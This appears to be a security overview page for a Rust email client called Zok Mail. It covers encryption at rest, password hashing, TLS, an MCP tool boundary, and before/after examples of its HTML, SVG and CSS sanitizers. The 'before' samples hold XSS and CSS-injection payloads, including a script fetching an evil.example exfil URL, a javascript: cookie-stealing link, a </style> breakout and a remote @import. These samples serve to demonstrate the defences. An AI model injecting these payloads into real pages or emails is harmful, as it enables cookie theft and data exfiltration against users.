Session cookies
Browser and webview sessions authenticate via HttpOnly, SameSite=Lax tokens hashed with SHA-256 in SQLite so raw bearer values are never stored at rest.
Zok Mail treats every incoming email payload as untrusted network input and encrypts every IMAP password, OAuth refresh token, and connected AI agent API key before a single byte touches SQLite on disk.
Browser and webview sessions authenticate via HttpOnly, SameSite=Lax tokens hashed with SHA-256 in SQLite so raw bearer values are never stored at rest.
Workspace account passwords are derived using memory-hard scrypt with unique 16-byte cryptographic salts and constant-time digest verification in Rust.
IMAP/SMTP credentials, OAuth2 refresh tokens, and connected agent keys (OpenAI, Anthropic, MCP tokens) are sealed with AES-256-GCM using fresh 96-bit nonces and verified 128-bit auth tags.
Outbound IMAP and ESMTP sockets enforce certificate chain validation via rustls, while POST /api/mcp binds strictly to loopback or authenticated bearer tokens.
Zok Mail renders inline vector data charts safely without allowing script injection. Our Rust sanitizer strips executable tags, event handlers, <foreignObject>, and dangerous URL schemes while preserving clean typography and static geometry (<svg>, <rect>, <line>, <path>, <text>).
<div onclick="stealCookie()">
<script>fetch("https://evil.example/exfil")</script>
<p>Q4 ARR reached $23.8M.</p>
<svg viewBox="0 0 200 80" onload="alert(1)">
<foreignObject><iframe src="javascript:evil()"></iframe></foreignObject>
<rect x="12" y="16" width="44" height="52" rx="6" fill="#2EB88A"/>
<text x="34" y="12" font-size="11">$23.8M</text>
</svg>
<a href="javascript:alert(document.cookie)">Open deck</a>
</div>
<div>
<p>Q4 ARR reached $23.8M.</p>
<svg viewBox="0 0 200 80">
<rect x="12" y="16" width="44" height="52" rx="6" fill="#2EB88A"></rect>
<text x="34" y="12" font-size="11">$23.8M</text>
</svg>
<a rel="noopener noreferrer" target="_blank">Open deck</a>
</div>
</style><script>window.__pwned = 1;</script>
@import url("https://evil.example/exfiltrate.css");
[data-slot="sidebar"] {
background: rgba(18, 24, 42, 0.86);
background-image: url(https://evil.example/beacon.png);
width: expression(alert(1));
}
[data-slot="sidebar"] {
background: rgba(18, 24, 42, 0.86);
}
/* Breakouts, @import, external url(), expression(),
-moz-binding, and behavior: stripped at storage
and DOM boundaries. */
| Subsystem | Primitive / Crate | Security guarantee |
|---|---|---|
| Mailbox and agent secret vault | aes-gcm (AES-256-GCM, 96-bit IV) | Authenticated encryption at rest; any ciphertext tampering fails GCM tag verification; API responses redact secrets to boolean hasSecret |
| Master key derivation | ZOK_MASTER_KEY / HKDF-SHA256 | 256-bit key material loaded from environment, OS keychain, or enterprise KMS without writing plaintext secrets to SQLite |
| User password storage | scrypt + subtle::ConstantTimeEq | Memory-hard derivation resistant to GPU brute-force attacks with timing-safe verification |
| HTML and SVG email sanitizer | zok_core::sanitize (Allowlist AST) | Strips <script>, <iframe>, <object>, <foreignObject>, on* attributes, javascript:/data:text/html URIs, and remote tracking pixels by default |
| Scoped [data-slot] Custom CSS sanitizer | zok_core::sanitize_custom_css | Strips </style> breakouts, <script>, @import, @charset, external url(...) beacons, expression(), -moz-binding, and behavior: while preserving safe [data-slot] glass styling and 1-click POST /api/customize/reset |
| IMAP4rev1 and ESMTP transport | tokio-rustls + webpki-roots | Memory-safe TLS 1.2 and TLS 1.3 handshake verification; localhost self-signed certs require explicit per-account opt-in |
| 15-tool MCP and SKILL.md boundary | POST /api/mcp + allowedTools | Explicit JSON-RPC 2.0 schema validation across all 15 MCP tools, per-skill allowedTools scoping, Supervised vs Full Customize mode gating, and zero arbitrary shell execution |
Your correspondence, calendar events, contacts, and agent threads live in a standard SQLite WAL file under your control, synced over open RFC 3501 IMAP, RFC 5321 SMTP, and RFC 5545 iCalendar protocols.
Deleting an account or disconnecting an agent harness permanently purges its AES-256-GCM ciphertext rows and FTS5 index entries in a single atomic transaction.
We welcome independent security research across our Rust MIME parser, HTML/SVG allowlist sanitizer, Tauri v2 bridge, and MCP tool server. Report findings to security@zokmail.org with 24-hour triage acknowledgment.
9F4A 2C81 E07B 44D2 8810 C3A9 71B5 0E64 D290 4F18